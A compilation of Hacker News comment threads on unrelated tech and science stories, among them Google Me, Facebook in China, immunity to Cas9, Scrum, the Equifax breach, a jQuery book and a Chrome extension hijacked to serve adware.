Confirmed: Google Me coming this Fall - <AUTHOR> http://www.zdnet.com/blog/google/confirmed-google-me-coming-this-fall/2458

<comment><USER2> Why are so many people expecting this to be a "killer" when they have failed to gain much traction with their other attempts to compete with Facebook/Twitter. I don't know many people using Orkut, Wave, Buzz, Picasa, etc.

<comment><USER3> Wishful thinking? I know I want a Facebook "killer" to pop up soon. Network effects are what I hate & love most about the tech industry: why is it that something beautiful always has to be ruined once some player becomes big enough to dominate the space? PCs : Microsoft, Social Networking: Facebook, Mobile Apps: Apple

<comment><USER4> Personally I am more worried of a big company dominating _more_ than one space. Say, I'm happy with PS3 to beat Xbox 'cause Sony is not a threat anywhere else, but Microsoft got the Windows/Office monopolies.

I am happy with Apple being strong in iPod/iPhone because they are weak in PCs. And I am happy with Google being strong in search, and Facebook and Twitter having the social network market.

If we got a Facebook killer from Twitter I'd love it. But from Google? I think they got enough fingers in enough pies for the time being. :)

<comment><USER5> At least Google has a policy of you owning your data, and of making it easy to grab all your data so you can move to other services.

So if they ran something like Facebook it would be much easier to compete with them outside of their ecosystem, unlike Facebook which tries to dominate all data submitted into their system.

<comment><USER4> That is a good point... though I really don't like either choice. :D

</comment></comment></comment></comment></comment><comment><USER6> Google doesn't want to be social, they just want "social graph" data--two very different things. It's why they've failed.

Google needs to offer a compelling reason for people to transfer their profiles and hang around Google services in order to get the "social" part somewhat right. And then Google will succeed in getting the data they value most: the things you explicitly "like" or favorite, in this case,(with a bright yellow star). And that's where I think Freebase comes in--or so I hope.

</comment><comment><USER7> We can only hope that Google Millenium Edition lives up to the awesome legacy left behind by Windows ME.

</comment><comment><USER8> I have mixed feeling about this.... yet another attempt by Google to get social.

I read an article somewhere else that the reason Google doesn't get social is because of its "geek" culture (no offense to fellow geeks, I'm just quoting the original article). Because Google is so technology focused, it sometimes loses its grip on human interaction.

I can't say I'm totally agreeing with that article but it does make some sense. Wave for example, technologically excellent and revolutionary, but really hard to use for a non-tech person.

<comment><USER4> I am not sure about that. Though I do think there is a certain feeling of elitism within Google, like all the brightest people are inside (which to be honest it's probably a pretty good assessment). So I am not sure how much they can get the very real but very (intellectually) shallow world of social networks.

Googlers seem to love to tackle hard problems (e.g. Wave and Instant search) but social networks are not a hard problem from an engineer point of view.

<comment><USER8> "Googlers seem to love to tackle hard problems (e.g. Wave and Instant search) but social networks are not a hard problem from an engineer point of view."

So the mentality goes: there's no motivation to come up with the next best social network, unless it can also simultaneously calculate the interconnectedness of every human being on this planet...

<comment><USER4> Yep, I can see them getting excited data mining people's social networks. However before they do that they need to _get_ the social network...

</comment></comment></comment></comment><comment><USER9> I think it is interesting that Google said that Google Me will not be something that is standalone but suggests they are learning the lessons from the past.

Mashable had a good article on the demise of Wave and the lessons that can be learned (<http://mashable.com/2010/08/06/google-wave-lessons/>)

Lesson 1: Keep Expectations in Check They have announced it now for Fall, make sure they release in fall and if it is private beta, make sure that does not go for longer than 1-2 months. Keep the media in check

Lesson 2: Make Your Product Clear They clearly need to state what this is and what is not. E.g. it is not Facebook, it is not Twitter it is a way to add more social functions and collaboration to your existing Google services

Lesson 3: Launch When Ready Linked to point 1 but it has to have a good level of quality at launch.

Lesson 4: Have Real Value If it replicates things I can get already from Facebook or Twitter it is not going to add value.

If it does allow me to get the best results from my private services (e.g. Facebook, twitter, Google reader) like Greplin but with instant search directly from my Google window that would be valuable.

If it gives me Rapportive but in a way that works in Gmail awesome. If it gives me Wisesync but in a way that works in Chromium also valuable.

If it lets me play video directly from my Gmail inbox or "like" something within my inbox or search and "stream" this to my social feeds

If it gives me a feature like mysixthsense within search or google reader or adds in Postrank as a google lab feature to inbox and search these would also be valuable to me.

</comment><comment><USER10> I'm hesitant about the social layers search stuff. Honestly, the data I put on the web is personal, and it deserves its own respect. Its not just a statistic. If my friend wants to know what I think about something they can email me.

I think it would be a brilliant move by Google to combine their separate services into something similar to Facebook. Google has all the parts, like video (Youtube), pics (Picasa), mini-blogs (Buzz), chat, and e-mail. They do all of this better than Facebook, and add Google Voice on top of it. It's just natural for them to start a social network that integrates all of these different parts.

</comment><comment><USER11> I wonder what we actually want from "social". I know that I don't want to subscribe to some kind of friend spam merged with regular spam from advertisers or share "stuff" with people in my address book. That's totally useless for me and bloating all kinds of Google services with it will be annoying.

What I do want is collaboration, ad hoc collaboration, project based collaboration, etc. I want to connect and integrate my data with that of others with less friction than today. Google should go after Microsoft Office and leave Facebook to Zuckerberg's "dumb fucks".

</comment><comment><USER12> I wonder if Facebook will be the new Netscape and this will be the new Internet Explorer 4.

<comment><USER13> I wouldn't put money on it, but if this is IE4 then I think an analogous Facebook will probably be IE7 or IE8... or Chrome.

<comment><USER12> My read is like this:

Facebook / Netscape - Hotshot early player that does most of the early innovation, has near complete market penetration and doesn't quite hold on.

Google Me / IE4 - After a few feeble attempts, the product that successfully takes over through a combination of (a) being forced upon a gargantuan installed base and (b) being a pretty decent product, as a result of the prior iterations.

<comment><USER14> I would peg the "Hotshot early player" label to MySpace / Netscape

<comment><USER15> Yup. Google Me is more like Google Chrome; however much better it might end up being it has a lot of work to win mindshare.

</comment></comment></comment></comment></comment><comment><USER16> I wonder if Google Me will implement some search sharing elements and socialize the Google Search experience instead of offering another standard social network. A current web project of mine delves into this, but Google obviously has the resources to push this to the mainstream, similar to Google Instant, and make it much more valuable to users from the onset. It would be more risky than another standard social network, but much more relevant to their core search service. It's also interesting to speculate whether or not Google Me may be the social element around Google OS. We'll just have to wait and see.

</comment><comment><USER17> Well, I hope they don't automatically sign me up and add my contacts from my GMail account like they did with Buzz.

Partly because that's annoying and mainly because I don't want to belong to another social network.

</comment><comment><USER18> This will be a good test of whether Google has learned anything from their previous failures - Wave, Buzz, etc. Both were excellent products technically and both failed to take off. I'm particularly sad about Buzz because it is much much better technically and feature wise than Twitter.

The problem is, I think the key to it is going to be something they'll never do - lack of integration. They have to totally utterly separate this from search and gmail. If they mix these things then it'll be yet another product where the public is confused and uncertain about what it is, what it does, and why it does it. It has to be simple - the way the original Google was simpler than any of its competitors. They have to remember their roots here. Do it simple. Do it incredibly well. Make it clean and unambiguous.

</comment><comment><USER19> It's hard to pinpoint when, but I think at some point last year I stopped viewing Google as "special" and started considering them just one of many companies.

To me, Google was special because all their early products were made to solve very hard problems that me, among many other people had: search sucked, webmail sucked, etc.

That Google is dead, I'm afraid. Wave, Buzz, and now (probably) Google Me.. all products created with shady goals, terrible execution, disdain for privacy. Most importantly, they are products that NO ONE FUCKING NEEDS.

I'm still continuing using Gmail and Google for search because they are the best (although DDG is close, and I'm rooting for them). But I'm definitely looking elsewhere for anything close to innovation.

/rant

</comment><comment><USER20> Prediction: privacy nightmare.

</comment><comment><USER21> I misread that, thinking it was odd that Google would fall to copying Microsoft, and surprising they would copy Windows Me.

Reading about the product left me slightly less impressed.

Facebook already has social covered, and I've pretty much stopped using it. Buzz does not - Google don't get it, and they don't get that they don't get it. If Google Me was an upgrade to a desktop application, I probably wouldn't bother to install it. As it is, I'll look forward to having my cheese moved again.

</comment><comment> brown9-2 Am I the only one who thinks that the idea that Google needs to "get into social" is a big mistake and a bad move?

They're being duped into spending a lot of time on energy on something where it isn't clear that they'll get the equivalent value back.

They already dominate advertising. What else is there to gain here? It's like Microsoft feeling like they need to create a competing search engine. The game has already been won.

</comment><comment><USER22> I really use google just for search and their ads which I find useful and I often click more than any other kind of ad.

I don't like where this is headed.

</comment><comment><USER23> I'm really interested to see how this goes. It's been a long time since Google released a "killer service." I'm really hoping Me is more than just a Facebook clone, and that they learned some lessons from Buzz (and Wave?).

</comment><comment><USER24> this is probably going to to the way of Buzz. they'll screw it up, it'll be intrusive, privacy will be violated.

besides, how much more "social" can google get? someone at google is trying too hard.

</comment><comment><USER25> I'm not sure most people would want their searching habits to be 'social' in that plenty of people want to Google for stuff in their own time without anyone else knowing about it.

</comment><comment><USER26> This sounds like a good move from Google, do something akin to Facebook instant personalization in their other products, rather than creating the next facebook/myspace/bebo clone.

</comment><comment><USER27> I sincerely hope that it will be horrible so that I'm not tempted to hand over even more of my personal life to Google.

No offence to the people building it.

</comment><comment><USER28> Poor naming: "Google me" is already a verb phrase. If the overlap was intentional, I don't think it was wise.

</comment><comment><USER29> What a terrible name. Any relation to Dr. Evil's Mini Me?

</comment><comment><USER30> This is exactly what I don't want, more stuff forced onto me through my Gmail account. Stop using Gmail as a trojan horse please Google. They should just make a standalone clone Facebook that _can_ integrate with Google's services, if desired. I really disliked the way Buzz was forced onto me and I really don't like the way that the new chat box won't go away and you have to manually hide each contact. Just buy Twitter and use their talent, you've got the cash and it's not really in Google's genetics for social.

<comment><USER31> Trojan horse? Strawman, baby!

Using your gmail as a username isn't bad. It makes it easy to know where to send you emails for account details and such. _However_ , I think GMail needs a revamp if it's going to be the focal point of many integrated systems. What I _don't_ want is another Facebook clone. A developer-centric social layer, to integrate various components of their developer infrastructure (google code/analytics/adsense, etc), could work. _Could_. They've got a bad track- record at "social".

<comment><AUTHOR> > What I don't want is another Facebook clone

I think for this time, this is exactly what Google needs to do to kick facebook out of business. Facebook platform is a proven success. If Google clone it, they will eventually get users.

Google have other sources of income. But for facebook, its just "Facebook.com". If "Google" makes the clone and gets users, facebook.com is almost dead then (read like "myspace").

<comment><USER32> _> If Google clone it, they will eventually get users._

Why would anyone leave Facebook to join Google's ghost town? Further, Facebook is impossible to successfully clone because part of Facebook's inherent value is that it already has an incredibly large userbase.

<comment><AUTHOR> > Why would anyone leave Facebook to join Google's ghost town?

You don't have to leave Facebook. And most importantly (and highly likely) you don't need to _join_ the ghost town. You are already there if you are using GMail. Don't you know that after using Buzz?

<comment><USER33> the question is: why would I _use_ it even if I joined it? I am a buzz user but I never posted anything directly through buzz.

Why should I, the number of my friends on facebook is tenfold and does not include people that once mailed me about a typo in my blog.</comment></comment></comment></comment></comment></comment>


How Facebook can be successful in China - <AUTHOR> http://www.tedblosser.com/how-facebook-can-be-successful-in-china

<comment><USER2> why do so many posts addressing Facebook's approach to China neglect the fact that FB is blocked by the great firewall and the vast majority of Chinese netizens won't bother with a vpn to use it regularly? am I missing something?

<comment><AUTHOR> i agree, i think that's a huge disadvantage for FB, but doesn't mean that they should give up on breaking into the market. as mark mentioned at startup school, his approach is to adapt to the cultural norms and policies of foreign countries. perhaps they could start hiring from within the country and start garnering the favor of the gov? maybe release a closely monitored version of fb? overall, fb is good at hacking around problems and this is just another problem i think they can solve if they put the time and resources into it.

<comment><USER2> i'm curious to see whether this will happen, i've heard before the points you mention about Zuckerberg studying Chinese and all that, but as you say I don't see how FB can compete without spending at least 50% of their resources on China, considering the fact they already have massively entrenched incumbents (QQ/Tencent, renren, etc). i've also heard (from people more knowledgeable about these things than i) that Chinese gov is big on internet protectionism and co's like Baidu are heavily incentivized to oust the competition. anyway, this is just one tech-aware Beijing-based expat's opinion, FB getting a bigger market share in China would certainly make my life easier...</comment></comment></comment>


The free-love couple who pissed off nineteenth-century America - <AUTHOR> http://www.theparisreview.org/blog/2014/07/02/passional-affinities/

<comment><USER2> This wasn't the only one, the Oneida Community was doing the same thing not too far away. [https://en.wikipedia.org/?title=Oneida_Community](https://en.wikipedia.org/?title=Oneida_Community). If that name sounds familiar it's because what was left of it became the Oneida silverware company.</comment>


Kvardek Du: SBCL10 - Tenth year of SBCL - <AUTHOR> http://kvardek-du.kerno.org/2009/12/sbcl.html <comment><USER2> That was a great conference report, and of interest since (when I code in CL) I use SBLC more often than Franz or Clozure. The SBCL developers are also very helpful (a few years ago, I got a very large memory patch for a customer's server in a few hours).

It would be great if some videos show up of the presentations. I realize that someone has to do a lot of work editing and pushing video, but it is a real service to the community, and in general, conference videos are great and much appreciated.</comment>


Pre-Existing Immunity to CRISPR Found in 96% of People in Study - <AUTHOR> https://www.xconomy.com/boston/2018/10/29/pre-existing-immunity-to-crispr-found-in-96-of-people-in-study/ <comment><USER2> This will likely not be an impediment to treatments based on CRISPR. The study has been available in preprint form for ~6 months on biorxiv [0]. At least some of the companies researching CRISPR were aware of this issue at the time the paper was released. It has since been mitigated, as specified at the bottom of the article. From Gaetan Burgio's tweets:

"Published now in @NatureMedicine on #CRISPR & Immunity to SpCas9. 6 months has past since the preprint was online & it is a long time in the CRISPR field. Since then additional work showed how to circumvented this by modifying Cas9 protein or using Cas9 orthologs. So No panic !" [1]

[0] [https://www.biorxiv.org/content/early/2018/04/04/295139](https://www.biorxiv.org/content/early/2018/04/04/295139)

[1] [https://twitter.com/GaetanBurgio/status/1057206850213441542](https://twitter.com/GaetanBurgio/status/1057206850213441542)

<comment><USER3> It's really amazing that humanity is at the stage where we're intentionally evading our own immunity to bacterial components so we can repurpose the components to help ourselves.

<comment><USER4> What if it's actually just time travelers coming back to code the immunity into us to protect us from the unintended consequences of gene hacking?

(This is a joke, in case that needs clarifying)

<comment><USER5> There's got to be a great scifi story in there somewhere.

<comment><USER6> This is the plot of the Trunks storyline in Dragon Ball Z.

</comment></comment></comment></comment></comment><comment><USER7> So to the non-geneticist noobs (like me), is it correct to interpret this finding as suggesting that the promises of CRISPR may be dead in the water?

Does this mean all the hype was nothing more than hype?

Should anyone with investments in CRISPR be seriously looking at dumping their stock?

Should anyone who was holding out on CRISPR to give us super powers / cure disease / etc start drinking copious amounts of alcohol instead?

Despite my tone, I seriously am asking what the implications of this are, because it's not my area of expertise.

<comment><USER8> CRISPR holds way more promise than silly fantasies of human genetic enhancement. The most exciting and practical uses for it apply to challenging everyday problems: food, energy, invasive species, biodiversity.

Besides, the ethical problems with experimenting on human beings are extremely intractable.

<comment><USER9> > _CRISPR holds way more promise than silly fantasies of human genetic > enhancement_

I really dislike pandering, dismissive statements like this.

What's so inherently wrong with the entire category of genetic "enhancements" (changes for a perceived positive benefit)? You can't respond to this by just pointing out some proposed enhancements or motivations that are silly. I'm asking why you object to the very idea of any enhancements.

What about changes to make the following at some point in the future (these are just to give the general idea of positive changes, I'm not saying CRISPR could necessarily be used for them). These are things that in principle could be addressed by genetic "enhancements".

\- stop people from getting diseases like celiac disease

\- lessen our evolutionary desire for fatty and sugary foods (that no longer makes sense in the modern world, and which causes great harm)

\- address some of the more egregious cognitive biases that cause so many problems in the world

<comment><USER10> > address some of the more egregious cognitive biases that cause so many > problems in the world

I'm not sure how to interpret this - are you saying we should use CRISPR to make people _think_ a certain way? If so this seems like a pretty horrific suggestion.

<comment><USER9> Humans are, for example, very poor at making risk assessments. Evolution has "programmed" our brains to focus too much on certain things and not enough on others. These heuristics might have made sense in ancestral environments bit are quite harmful in today's world. Evolution has _already_ "made us think a certain way". Why would it be so horrific to, for example, lessen certain of those tendancies, if they are harmful?

<comment><USER11> In order to consolidate the consensus needed to genetically alter specific 'cognitive biases' that are 'harmful' to 'humans' in 'today's world', you'll probably first need to establish a global totalitarian dictatorship ('take over the world'). That adds an extra technical challenge beyond CRISPR itself, but you can always shoot for the moon and land among the stars.

<comment><USER9> Why do you think it'd require a global totalitarian dictatorship??

(Also, why do you put 'cognitive biases' in quotes, as if it's a notion of suspect legitimacy?)

<comment><USER12> One reason to maintain skepticism about the "cognitive biases" concept is that the phrase implies a value judgment— "cognitive heuristics" would be a more value-neutral framing.

<comment><USER9> It's a well-established, respectable area of research. [https://en.wikipedia.org/wiki/Cognitive_bias](https://en.wikipedia.org/wiki/Cognitive_bias)

You think simply because it implies a value judgement that you can be skeptical of it?

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER13> This is very interesting, is it maybe that CRISPR resembles attacks we faced from viruses and the likes during our evolution as a species, that we have such high rates of immunity to it?

<comment><USER14> The enzyme commonly used for gene editing is from a bacteria that is a common human pathogen. Bits of these bacteria (including their Cas9 protein) are recognized as foreign. Unfortunately, when gene-edited cells are expressing the Cas9 protein, bits of every protein in the cell, including Cas9, naturally get processed and presented on the surface of the cell. There are immune cells (T cells) that monitor for non-self protein bits on the surface of cells, and when non-self is detected, they kill that cell they perceive as infected.

There's a bit more nuance than this, but this makes it significantly more difficult to pull off gene editing in a human.

<comment><USER15> Could this be a potential cancer therapy?

<comment><USER14> In a way, sure. A major roll of the immune system (especially T cells) is to monitor for unusual cells. Some pre-cancerous cells display unusual markers that are recognized and killed by T cells. Those that evade T cell recognition go on to be a problem.

The major problem is still how do you target cancer cells? If you can find something that makes them unique, say a cell surface receptor, or an unusual metabolic process, there are lots of ways to target them for removal. It's just hard to uniquely identify cancer cells. Right now, most chemotherapy drugs target the phenotype of "fast replication" which really isn't too selective.

<comment><USER16> > It's just hard to uniquely identify cancer cells.

How about performing whole-genome sequencing on a tumor, and then targeting the differences with the patient's natural genome?

<comment><USER17> That sounds way more complicated (expensive) than using a minimalist signature to identify cancerous cells.

<comment><USER18> With desktop gene sequencers becoming a near commodity product I'm not so sure.

There are a companies that currently focus on this area specifically by leveraging the ever dropping costs and capabilities of gene sequencing by developing targeted immunotherapy solutions that can target the specific genetic makeup of a tumor from a biopsy.

<comment><USER19> This is all based on the assumption that our understanding of in vivo processes is as good as our understanding of in silico processes. It isn't. Not even close.

<comment><USER16> But that's also true for mainstream/existing therapies.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER14> Actual article: [https://www.nature.com/articles/s41591-018-0204-6](https://www.nature.com/articles/s41591-018-0204-6)

This is perhaps not surprising, but still very disheartening news

<comment><USER20> I could be wrong, but this seems like a blessing in disguise. Maybe I'm just totally ignorant about CRISPR but from what I have read, it seems like this is totally wild-west/uncharted territory. This seems like one of those technologies that could have massive unintended consequences. Perhaps this is a _good_ thing rather than a bad thing.

<comment><USER21> When you see a hammer lying around, do you think of the things that could be built or the things that could be destroyed?

<comment><USER22> I think "who left that hammer there?"

</comment></comment></comment></comment><comment><USER23> Does that mean if we introduce modified enzyme to circumvent this immunity - bacteries could steal it and become much more dangerous?

<comment><USER24> It depends on how we make the enzyme. If it's made without involving life in any way, it's hard to imagine how bacteria would "learn" to make it after finding it. At most, opportunistic bacteria could better parasite people already loaded with enzymes from CRISPR treatment.

If we modify harmless bacteria to build the enzyme for us, then sure, the modification could well end up on harmful bacteria.

</comment></comment><comment><USER25> Immunity is the standard problem for most vectors for gene therapy. Viral vectors have neutralizing antibodies, liposomes get eaten by macrophages, and so forth. Minimizing this issue to the degree needed for a therapy to work is the subject of a great deal of effort over past decades, and ongoing today. It isn't a solved problem, but there are many incremental approaches that, when combined, can let therapies work well enough given good engineering and good fortune.

</comment><comment> jf- CRISPR Cas9 is present in somewhat varying forms across many (all?) bacteria. I don't have the quote to hand but I know CRISPR from bacteria that rarely or never come into contact with humans (think extremeophiles like deep sea thermal vent bacteria) doesn't provoke an immune response, as it's slightly different in form and novel to the human immune system. This is not a huge setback for CRISPR research.

Also you could argue that the title is misleading, as stating that CRISPR evokes an immune response is inaccurate; CRISPR from a bacterium that frequently comes into contact with most humans evokes it, and not all CRISPRs are the same.

</comment><comment><USER26> Could we not just use immunosuppressants to give the crispr editing enough time to spread? Once the genes are edited, purging the CRISPR delivery mechanisms from the system should be fine, correct?

<comment><USER27> This is discussed in the article. Maybe read before commenting?

</comment></comment><comment><USER28> I see this as more of a reminder of the strength of our immune system than a failure of any particular technology. As a recent post on HN said, fall in love with the problem, not the solution. Whether or not CRISPR works, there's an enormous community of people who devote their lives to treating genetic disease, which is the underlying problem. At the same time, I'm glad my body has the ability to stop some random bacteria from editing my genome with minimal effort.

</comment><comment><USER29> "Exploring protein orthogonality in immune space: a case study with AAV and Cas9 orthologs" [https://www.biorxiv.org/content/early/2018/01/10/245985](https://www.biorxiv.org/content/early/2018/01/10/245985)

</comment><comment><USER30> What about the arguably superior and patent free Cpf1 ? [https://en.m.wikipedia.org/wiki/CRISPR/Cpf1](https://en.m.wikipedia.org/wiki/CRISPR/Cpf1)

<comment><USER31> Cpf1 is patented, it's just that there's no dispute over who owns it.

<comment><USER30> Sorry for the delay, SOURCE please

</comment></comment></comment><comment><USER32> Well, if CRISPR fails it was worth a try anyway. What other potential breakthroughs you got?

</comment><comment><USER33> Maybe you could deliver the CRISPR payload through some sort of pathogen-like mechanism such as a virus

<comment><USER34> What could possibly go wrong?

</comment></comment><comment><USER35> Maybe we're living in a time loop, where the global gene manipulation catastrophe (aka Zombie Apocalypse) has already happened, and we, as the descendants of the survivors, are immune to it.</comment>


Sup: Simple deployment tool, like 'make' for a network of servers - <AUTHOR> https://github.com/pressly/sup <comment><USER2> not to be confused with the CMU Software Update Protocol, which has been used for decades by the BSDs to distribute their source code.

[https://www.freebsd.org/cgi/man.cgi?query=sup&apropos=0&sekt...](https://www.freebsd.org/cgi/man.cgi?query=sup&apropos=0&sektion=1&manpath=FreeBSD+Ports+10.2-RELEASE&arch=default&format=html)

</comment><comment><USER3> Founder of [https://commando.io](https://commando.io) here. Sup looks great. We built Commando.io to address the problem of running distributed commands on servers via ssh as well. However, instead of command line, we opted for a beautiful and easy to use web interface.

We have a super early version of our refactored distributed ssh http service (written in go), that we plan on open sourcing in the near future as well.

</comment><comment><USER4> not to be confused with sup, the email client [http://supmua.org/](http://supmua.org/)

</comment><comment><USER5> How does this compare to Fabric or Capistrano?

</comment><comment><USER6> Not to be confused with wassup[1], the late 90s/early 2000s Budweiser marketing campaign.

1 - [http://m.youtube.com/watch?v=W16qzZ7J5YQ](http://m.youtube.com/watch?v=W16qzZ7J5YQ)</comment>


Show HN: Usable colorized log output in Python - <AUTHOR> https://github.com/induane/logcolor <comment><AUTHOR> I've always been of the opinion that when making command line tools in Python one should use the logging system to relay messages to the user. It makes it easy to change verbosity levels (add a log-level command line switch!) and the logger writes to stderr which helps separate your informational messages from information that should be written directly to stdout.

Python's logging system is great but there is no simple way to colorize the textual output. There are some log formatters that are able to format an entire message in one color or another but formatting only a portion of a log message was cumbersome and annoying.

To that end I've produced a couple of logging formatters that can be used to format portions of log messages with color codes for beautiful command line output, all aided by a very simple domain specific language.</comment>


Scrum: Agile Madness - <AUTHOR> http://www.jillesvangurp.com/2011/12/03/scrum-agile-madness/

<comment><AUTHOR> I do not want to complain about scrum. When i first read about it, i found the whole idea very inspiring.

When introduced in a former company, i really, really started to feel bad about my daily job.

It basically began as an idea. To fill our desperate need to keep the company breathing with a method. Because the company never really had stop growing over the past 10 years. We felt, development has become slow, a lot of technical debt has been built up. We had the money to hire more people, but didnt really know, how to bring them alive. Something that felt natural, when we were not so many. Long story, many reasons, blabla.

But i ended up being totally separated from the product. Something that i pictured living and breathing in my head. Now i had to report. Now i had to do a stand up. Now i had to measure. Now i had to make reviews. Etc etc...i started to feel less and less responsible for the product.

Maybe i have become tired of it. I can not really judge. All i know is, one variable was scrum.

You know, when you program and someone shows you something and you make wow, thats exactly what i need. It takes work away from me, i can automate, etc etc. All what scrum has given us, that we have talked more with each other.

One aspect that i sometimes mention to others too, by doing reviews and showing others, what i did, that all of the sudden i have to give away knowledge for free to people, who dont give a rats ass to browse the source code or read the manuals. So i kind of felt cheated in that way too. Did not know, that i will ever feel this way, because usually it always felt like a giving and taking.

Well, so is life. :-)</comment>


Wolfram Alpha: Computational Knowledge Engine - <AUTHOR> https://www.wolframalpha.com/ <comment><USER2> It would be awesome if some of wolfram's datasets were openly accessible. E.g their weather and stock data.</comment>


Equifax CEO: All Companies Get Breached - <AUTHOR> https://news.slashdot.org/story/17/09/30/2036215/equifax-ceo-all-companies-get-breached <comment><USER2> All companies get breached; not all of them get breached via vulnerabilities that were known and patchable for two months prior to the breach being detected. Further, not all companies handle such large amounts of sensitive information. Equifax's IT staff should have known better, as a whole. I have seen it argued elsewhere on the internet that their CSO, who only had a degree in music, should not be blamed for the breach; I have also seen statements claiming that cross-field collaboration is important, and that many innovations have come from people working outside of their main field of study or from uneducated backgrounds. Neither of these statements excuses what happened. Further, I would argue that if the Equifax CSO were innovating in her field by bringing some sort of new insight to security, we would not be talking about aa breach.

</comment><comment><USER3> A "two-wrongs make a right" argument is hardly one that obtains here. First, the truth of that statement is irrelevant: Most hacked companies find themselves in that situation, as was the case here, through poor practices.

Second, this is Equifax. A company that includes in its product portfolio monitoring tools for those unfortunate enough to have their information compromised. Explicit in this is an acknowledgement of the seriousness and need to keep such information very well protected.

Saying "all companies get hacked" is akin to a lock company having its offices get broken into and master keys stolen and duplicated for all of its locks. And not through creative picking but simple lock bumping of insecure locks. And then saying, "well all businesses get robbed sometimes".

If such a hypothetical company were very, very lucky, they might still exist a year on from the the breakin.</comment>


JQuery Fundamentals - <AUTHOR> http://www.rebeccamurphey.com/jqfundamentals/

<comment><USER2> Oh the misery of some of the other comments here. This is a fine piece of work.

I've been working with JavaScript on and off for years (though am far from an expert), but something like this is still a great primer for me, even the introductory stuff. It never hurts to retread the basics quickly and from the perspective of someone you _know_ is a seriously expert developer right NOW (and not when I picked up most of my JS.. 7-8 years ago!)

Forgetting that, what I've read of it so far is well written and not padded to fill a certain page count like many books. It's open, it's free, and even if it's not going to win any prizes, it's certainly way above average in the gamut of programming books, free or not.

<comment><USER3> I'll add two cents: as someone very new to JavaScript, I like the idea of a rapid introduction to the language and then straight into jQuery (which I would expect to use more than "raw" JS for the near future anyhow).

Also, putting the book on GitHub was genius. There are already 13 forks, and the author has been very quick to respond to issues posted there. (Full disclosure - one of the forks is mine. I can't contribute to the jQuery part, but I tried to help out with the installer script when the author mentioned it was a bit wonky.) Releasing a book in this way allows people to add value (if they can), and it's great to see an innovative use of GitHub. (There may be lots of other books available there, but it's new to me if so.)

</comment></comment><comment><USER4> I cant find any reviews [http://www.google.com/search?hl=en&q=review+%22JQuery+Fu...](http://www.google.com/search?hl=en&q=review+%22JQuery+Fundamentals%22&aq=f&aqi=&aql=f&oq=&gs_rfai=)

Has any one read this book, have a review?

<comment><USER5> It's meant to be used in conjunction with her instructor-led classes, so it won't necessarily be the same as something that was written explicitly to be a 'book'.

That said, Rebecca's very sharp, knows her stuff, and how to communicate and explain things well in person. I haven't read this yet, but assume much of that will translate to the written word.

<comment><USER4> Thank you. I have been thinking about buying a JQuery book, but I might try this one instead. It sounds promising.

</comment></comment></comment><comment><USER6> There is a lot of info here, but it's attempting to focus on too-wide of an audience. The Javascript 101 section would be better left on the cutting room floor (or put into a separate article,) for example.

What is here looks really solid, though there are nitpicks for the pedants to find and gripe about. I am especially interested to see what shows up eventually in Part III.

Big, big kudos to the author for putting everything onto a single page.

<comment><USER7> FWIW, the reason there's a JavaScript chapter is that I find many, many people come to jQuery via HTML/CSS, and neglect to learn JavaScript on the way. To dive straight into jQuery without explaining the larger JavaScript scene seems counterproductive to what I'm trying to accomplish when I teach these classes. That said, you're more than welcome to skip that part :)

</comment></comment><comment><USER8> This actually adds little value to the very good standard jQuery docs. All this information's there, and it's just as easy to follow w/ the benefit of more example code.

By the way, I've found the .chm format docs much, much easier to browse. There isn't an official .chm release but you can find a current version here: [http://charupload.wordpress.com/2007/12/07/jquery- documentat...](http://charupload.wordpress.com/2007/12/07/jquery- documentation-chm/)

<comment><USER2> The jQuery docs are great and make for an excellent reference, but as a mostly reference work, they lack the narrative structure of a "book" like this. A non-fiction is not just a collection of words - it's a journey where you're guided, hopefully, by an expert. Once one has read this book, the jQuery docs would be an invaluable reference from there on out.

<comment><USER8> I just don't see jQuery as a grand interconnected topic deserving of "book treatment." It shouldn't be seen as something that requires one to read a book before you can start using it. Just find the function that does what you want to do in the docs, read the description and example code, and use it. Before long, you'll intuitively get the jQuery aesthetic. There is no reason to try to master the theory before attempting to actually use jQuery. There is no theory. It's all very simple.

Now, on the other hand, if you don't yet know Javascript and you're trying to use jQuery, I would suggest learning the syntax and semantics of the language first. But if you know Javascript, then jQuery is trivial.

In that respect, I think maybe the biggest value in this book is the Javascript overview at the beginning. Too many people try to use jQuery without grasping its foundation.

<comment><USER2> _Just find the function that does what you want to do in the docs_

I often go looking for the wrong thing. I'll think "In Ruby/plain JavaScript/C/whatever, I'd achieve X by doing Y and then Z" and then look for jQuery's equivalents to Y and Z, rather than doing it the easier and conventional jQuery way.

Books are good at relaying the _thought processes_ of experts rather than the function by function material that, yes, a reference site provides a lot better.

For a slightly convoluted example, let's say I have a little JavaScript and DOM knowledge and am a few days into using jQuery without following any serious tutorials or books. To change the code within an element I might try something like _$('#whatever').innerHTML = 'whatever'_ rather than the more jQueryesque _$('whatever').html('whatever')_ \- a simple example but it can get a lot more elaborate than that.

However, it's definitely a case of _different strokes for different folks._ You might be able to pick up on the idioms and nuances of new libraries and languages without much guidance, but books like Rebecca's can provide a much needed "guided tour" for some people nonetheless.

All of the above is why I wrote _Beginning Ruby_ despite the existence of the venerable Pickaxe. The Pickaxe is an awesome reference book with a _relatively_ weak tutorialesque set of chapters tacked on the front. My book caters to people who want to learn in a more linear, narrative fashion (and, to be fair, has a relatively weak _reference_ section tacked on the end ;-))</comment></comment></comment></comment>


Our Copyfish extension was stolen and adware-infested - <AUTHOR> https://a9t9.com/blog/chrome-extension-adware/ <comment><USER2> I guess this is as good a place as any to post that I noticed something similar had happened to [User-Agent Switcher for Google Chrome]([https://chrome.google.com/webstore/detail/user-agent- switche...](https://chrome.google.com/webstore/detail/user-agent-switcher- for-g/ffhkkpnppgnfaobgihpdblnhmmbodake?hl=en)) and [Block Site]([https://chrome.google.com/webstore/detail/block- site/eiimnmi...](https://chrome.google.com/webstore/detail/block- site/eiimnmioipafcokbfikbljfdeojpcgbh?hl=en)). The "report abuse" link on the page is useless. The former is very insidious in that it actually hides the malware in a .jpg file that appears benign at first (promo.jpg for anyone who wants to analyze) but when loaded in a canvas element and decoded in some manner yields js that goes on to send all the user's http requests to some domain while also injecting ads and redirecting to affiliate links.

<comment><USER3> I am mortified. I had this extension installed for 2 years... What info did they get and what can they do to me? Please help... (I uninstalled it, talking about User-Agent Switcher)

